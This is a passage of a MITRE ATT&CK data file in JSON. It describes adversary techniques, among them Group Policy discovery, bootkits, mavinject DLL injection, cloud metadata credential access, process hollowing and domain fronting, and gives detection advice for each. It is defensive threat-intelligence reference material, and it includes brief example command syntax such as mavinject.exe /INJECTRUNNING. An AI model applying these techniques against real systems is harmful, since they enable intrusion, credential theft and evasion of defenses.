Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019."},{"source_name":"ADSecurity GPO Persistence 2016","url":"https://adsecurity.org/?p=2716","description":"Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019."},{"source_name":"Microsoft gpresult","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult","description":"Microsoft. (2017, October 16). gpresult. Retrieved August 6, 2021."},{"url":"https://github.com/EmpireProject/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-10-15T23:16:28.296Z","name":"Group Policy Discovery","description":"Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predicable network path <code>\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\</code>.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)\n\nAdversaries may use commands such as <code>gpresult</code> or various publicly available PowerShell functions, such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code>, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor for suspicious use of <code>gpresult</code>. Monitor for the use of PowerShell functions such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code> and processes spawning with command-line arguments containing <code>GPOLocalGroup</code>.\n\nMonitor for abnormal LDAP queries with filters for <code>groupPolicyContainer</code> and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Active Directory: Active Directory Object Access","Process: Process Creation","Network Traffic: Network Traffic Content","Script: Script Execution","Command: Command Execution"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba","type":"attack-pattern","created":"2019-12-19T21:05:38.123Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1542.003","url":"https://attack.mitre.org/techniques/T1542/003"},{"external_id":"CAPEC-552","source_name":"capec","url":"https://capec.mitre.org/data/definitions/552.html"},{"source_name":"Mandiant M Trends 2016","url":"https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf","description":"Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019."},{"url":"http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion","description":"Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.","source_name":"Lau 2011"}],"modified":"2020-09-17T19:47:14.338Z","name":"Bootkit","description":"Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nA bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Drive: Drive Modification"],"x_mitre_defense_bypassed":["Host intrusion prevention systems","Anti-virus","File monitoring"],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["William Cain"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","type":"attack-pattern","created":"2017-05-31T21:30:31.584Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1025","external_id":"T1025"}],"modified":"2021-10-15T22:17:35.218Z","name":"Data from Removable Media","description":"Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. \n\nSome adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","File: File Access"],"x_mitre_system_requirements":["Privileges to access removable media drive and files"]},{"x_mitre_platforms":["macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d","type":"attack-pattern","created":"2017-05-31T21:31:26.474Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1116","url":"https://attack.mitre.org/techniques/T1116"},{"url":"https://en.wikipedia.org/wiki/Code_signing","description":"Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.","source_name":"Wikipedia Code Signing"},{"url":"http://www.thesafemac.com/new-signed-malware-called-janicab/","description":"Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.","source_name":"Janicab"},{"url":"https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/","description":"Ladikov, A. (2015, January 29). Why You Shouldn’t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.","source_name":"Securelist Digital Certificates"},{"url":"http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates","description":"Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.","source_name":"Symantec Digital Certificates"}],"modified":"2020-02-05T18:59:28.671Z","name":"Code Signing","description":"Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Windows User Account Control"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--1bae753e-8e52-4055-a66d-2ead90303ca9","created":"2021-09-22T17:45:10.241Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"T1218.013","url":"https://attack.mitre.org/techniques/T1218/013"},{"source_name":"ATT Lazarus TTP Evolution","url":"https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution","description":"Fernando Martinez. (2021, July 6). Lazarus campaign TTPs and evolution. Retrieved September 22, 2021."},{"source_name":"LOLBAS Mavinject","url":"https://lolbas-project.github.io/lolbas/Binaries/Mavinject/","description":"LOLBAS. (n.d.). Mavinject.exe. Retrieved September 22, 2021."},{"source_name":"Mavinject Functionality Deconstructed","url":"https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e","description":"Matt Graeber. (2018, May 29). mavinject.exe Functionality Deconstructed. Retrieved September 22, 2021."},{"source_name":"Reaqta Mavinject","url":"https://reaqta.com/2017/12/mavinject-microsoft-injector/","description":"Reaqta. (2017, December 16). From False Positive to True Positive: the story of Mavinject.exe, the Microsoft Injector. Retrieved September 22, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. <code>C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL</code>).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its  <code>/HMODULE</code> command-line parameter (ex. <code>mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER</code>). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)","modified":"2022-04-19T17:35:08.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Mavinject","x_mitre_detection":"Monitor the execution and arguments of mavinject.exe. Compare recent invocations of mavinject.exe with prior history of known good arguments and injected DLLs to determine anomalous and potentially adversarial activity.\n\nAdversaries may rename abusable binaries to evade detections, but the argument <code>INJECTRUNNING</code> is required for mavinject.exe to perform [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001) and may therefore be monitored to alert malicious activity.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","Process: Process Creation"],"x_mitre_system_requirements":[],"x_mitre_defense_bypassed":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1c2fd73a-e634-44ed-b1b5-9e7cf7404e9f","type":"attack-pattern","created":"2019-09-04T14:41:32.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1522","url":"https://attack.mitre.org/techniques/T1522"},{"source_name":"AWS Instance Metadata API","url":"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html","description":"AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019."},{"description":"Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.","url":"https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse","source_name":"RedLock Instance Metadata API 2018"}],"modified":"2021-03-08T10:33:01.542Z","name":"Cloud Instance Metadata API","description":"Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"* Monitor access to the Instance Metadata API and look for anomalous queries.\n* It may be possible to detect adversary use of credentials they have obtained. See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\n","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21","type":"attack-pattern","created":"2017-05-31T21:31:09.815Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1093","url":"https://attack.mitre.org/techniques/T1093"},{"url":"http://www.autosectools.com/process-hollowing.pdf","description":"Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.","source_name":"Leitch Hollowing"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"}],"modified":"2020-11-10T18:29:30.437Z","name":"Process Hollowing","description":"Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Elastic Process Injection July 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls that unmap process memory, such as ZwUnmapViewOfSection or NtUnmapViewOfSection, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Process whitelisting","Whitelisting by file name or path","Signature-based detection","Anti-virus"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Massimiliano Romano, BT Security"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","created":"2020-03-13T21:13:10.467Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1074.001","url":"https://attack.mitre.org/techniques/T1074/001"},{"source_name":"Prevailion DarkWatchman 2021","url":"https://www.prevailion.com/darkwatchman-new-fileless-techniques/","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nAdversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)","modified":"2022-04-21T16:07:10.829Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Local Data Staging","x_mitre_detection":"Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nConsider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","Windows Registry: Windows Registry Key Modification","File: File Access","File: File Creation"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Yossi Weizman, Azure Defender Research Team","Vishwas Manral, McAfee"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","type":"attack-pattern","created":"2020-02-10T20:43:10.239Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1036.005","url":"https://attack.mitre.org/techniques/T1036/005"},{"external_id":"CAPEC-177","source_name":"capec","url":"https://capec.mitre.org/data/definitions/177.html"},{"source_name":"Elastic Masquerade Ball","description":"Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.","url":"http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf"},{"source_name":"Twitter ItsReallyNick Masquerading Update","url":"https://twitter.com/ItsReallyNick/status/1055321652777619457","description":"Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019."},{"source_name":"Docker Images","url":"https://docs.docker.com/engine/reference/commandline/images/","description":"Docker. (n.d.). Docker Images. Retrieved April 6, 2021."}],"modified":"2021-04-20T19:23:37.762Z","name":"Match Legitimate Name or Location","description":"Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.\n\nAdversaries may also use the same icon of the file they are trying to mimic.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nIn containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Metadata","Process: Process Metadata","Image: Image Metadata"],"x_mitre_defense_bypassed":["Application control by file name or path"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matt Kelly, @breakersall"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1172","url":"https://attack.mitre.org/techniques/T1172"},{"url":"http://www.icir.org/vern/papers/meek-PETS-2015.pdf","description":"David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.","source_name":"Fifield Blocking Resistent Communication through domain fronting 2015"}],"modified":"2020-03-14T23:29:54.083Z","name":"Domain Fronting","description":"Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blacklist or whitelist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1cec9319-743b-4840-bb65-431547bce82a","type":"attack-pattern","created":"2020-10-01T01:42:24.974Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1587.003","url":"https://attack.mitre.org/techniques/T1587/003"},{"source_name":"Splunk Kovar Certificates 2017","url":"https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html","description":"Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020."}],"modified":"2021-10-16T17:32:34.604Z","name":"Digital Certificates","description":"Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).\n\nAdversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).\n\nAfter creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Internet Scan: Response Content"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292","created":"2020-03-02T14:22:24.410Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1565.001","url":"https://attack.mitre.org/techniques/T1565/001"},{"source_name":"DOJ Lazarus Sony 2018","url":"https://www.justice.gov/opa/press-release/file/1092091/download","description":"Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."},{"source_name":"FireEye APT38 Oct 2018","url":"https://content.fireeye.com/apt/rpt-apt38","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.","modified":"2022-04-19T23:03:49.461Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Stored Data Manipulation","x_mitre_detection":"Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["File: File Deletion","File: File Modification","File: File Creation"],"x_mitre_system_requirements":[],"x_mitre_impact_type":["Integrity"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows","Office 365","Azure AD","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Mohamed Kmal"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d","created":"2020-02-11T18:38:56.197Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1110.002","url":"https://attack.mitre.org/techniques/T1110/002"},{"source_name":"US-CERT-TA18-106A","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."},{"source_name":"Wikipedia Password cracking","url":"https://en.wikipedia.org/wiki/Password_cracking","description":"Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015."},{"url":"https://capec.mitre.org/data/definitions/55.html","source_name":"capec","external_id":"CAPEC-55"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may use password cracking to attempt to recover 